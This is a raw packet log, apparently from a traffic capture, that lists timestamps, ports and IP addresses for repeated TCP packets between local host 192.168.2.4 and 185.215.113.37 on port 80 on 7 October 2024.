Oct 7, 2024 21:19:07.046391964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.046423912 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.046427965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.046443939 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.046458006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.046473980 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.046503067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.046575069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.046605110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.046621084 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.046648979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.046715975 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.046745062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.046762943 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.046787977 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.047113895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.047167063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.047167063 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.047202110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.047225952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.047230959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.047260046 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.047281027 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.047283888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.047318935 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.047329903 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.047353029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.047363043 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.047401905 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.047419071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.047466993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.047864914 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.047919989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.047933102 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.047971964 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.047971964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.048007965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.048019886 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.048041105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.048062086 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.048074961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.048109055 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.048110008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.048121929 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.048156977 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.048177004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.048209906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.048244953 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.048289061 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.048477888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.048511982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.048527002 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.048544884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.048557997 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.048589945 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.170193911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.170245886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.170283079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.170339108 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.170393944 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.170394897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.170393944 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.170425892 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.170430899 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.170454979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.170476913 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.170489073 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.170540094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.170540094 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.170588970 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.170595884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.170629025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.170640945 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.170664072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.170674086 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.170711040 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.171008110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.171057940 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.171061993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.171091080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.171108961 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.171127081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.171135902 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.171175003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.171181917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.171211004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.171227932 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.171256065 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.171442986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.171495914 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.171498060 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.171531916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.171542883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.171566010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.171576977 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.171610117 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.172568083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.172600985 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.172622919 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.172642946 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.172653913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.172687054 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.172699928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.172723055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.172746897 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.172755957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.172769070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.172796965 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.172811031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.172841072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.172858953 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.172872066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.172902107 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.172909021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.172926903 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.172964096 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.172992945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.173026085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.173041105 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.173068047 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.255078077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.255170107 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.255182981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.255258083 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.294620037 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.294709921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.294821024 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.294867992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.294900894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.294938087 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.294938087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.294938087 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.294959068 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.294992924 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.295047998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.295083046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.295115948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.295116901 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.295133114 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.295161963 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.295203924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.295233965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.295263052 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.295284033 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.295350075 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.295408010 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.295408010 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.295449972 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.295464039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.295499086 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.295681953 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.295711994 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.295742989 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.295743942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.295764923 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.295780897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.295792103 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.295810938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.295830965 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.295855999 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.296035051 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.296068907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.296096087 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.296103954 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.296118021 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.296149969 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.296885967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.296921968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.296953917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.296958923 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.296984911 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.297008991 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.297049046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.297080994 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.297110081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.297122002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.297132015 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.297173977 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.297193050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.297225952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.297251940 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.297259092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.297271013 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.297292948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.297306061 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.297328949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.297338963 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.297384977 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.297533989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.297601938 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.297676086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.297734976 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.346857071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.346910000 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.346949100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.347038031 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.347300053 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.419609070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.419681072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.419728041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.419764996 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.419800043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.419831038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.419842005 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.419842005 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.419863939 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.419882059 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.419882059 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.419899940 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.419913054 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.419934988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.419946909 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.419970036 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.419996023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.420003891 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.420034885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.420058012 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.420059919 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.420089006 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.420106888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.420121908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.420139074 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.420156956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.420173883 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.420192957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.420206070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.420241117 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.420306921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.420341015 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.420363903 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.420375109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.420393944 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.420411110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.420432091 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.420460939 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.420929909 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.420968056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.420990944 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.421003103 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.421016932 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.421037912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.421052933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.421078920 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.421106100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.421156883 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.421181917 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.421190023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.421207905 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.421224117 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.421238899 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.421272993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.421569109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.421602964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.421629906 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.421637058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.421653986 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.421683073 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.470745087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.470796108 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.470830917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.470850945 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.470865965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.470890999 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.470938921 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.544693947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.544764042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.544800043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.544832945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.544871092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.544924974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.544960976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.544970036 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.544970036 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.544970036 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.544994116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.545013905 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.545026064 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.545028925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.545049906 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.545062065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.545078039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.545095921 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.545109034 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.545131922 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.545145035 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.545177937 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.545183897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.545217991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.545233011 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.545269012 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.545269966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.545303106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.545336962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.545341015 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.545365095 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.545387983 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.545427084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.545480013 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.545480967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.545516014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.545532942 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.545555115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.545567989 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.545593023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.545608044 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.545649052 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.545665026 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.545717001 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.545718908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.545748949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.545775890 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.545783997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.545804024 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.545829058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.545836926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.545890093 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.545891047 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.545923948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.545942068 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.545970917 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.603308916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.603362083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.603399038 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.603430986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.603444099 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.603470087 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.603478909 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.603517056 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.670074940 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.670129061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.670165062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 7, 2024 21:19:07.670165062 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 7, 2024 21:19:07.670198917 CEST	80	49730	185.215.113.37	192.168.2.4
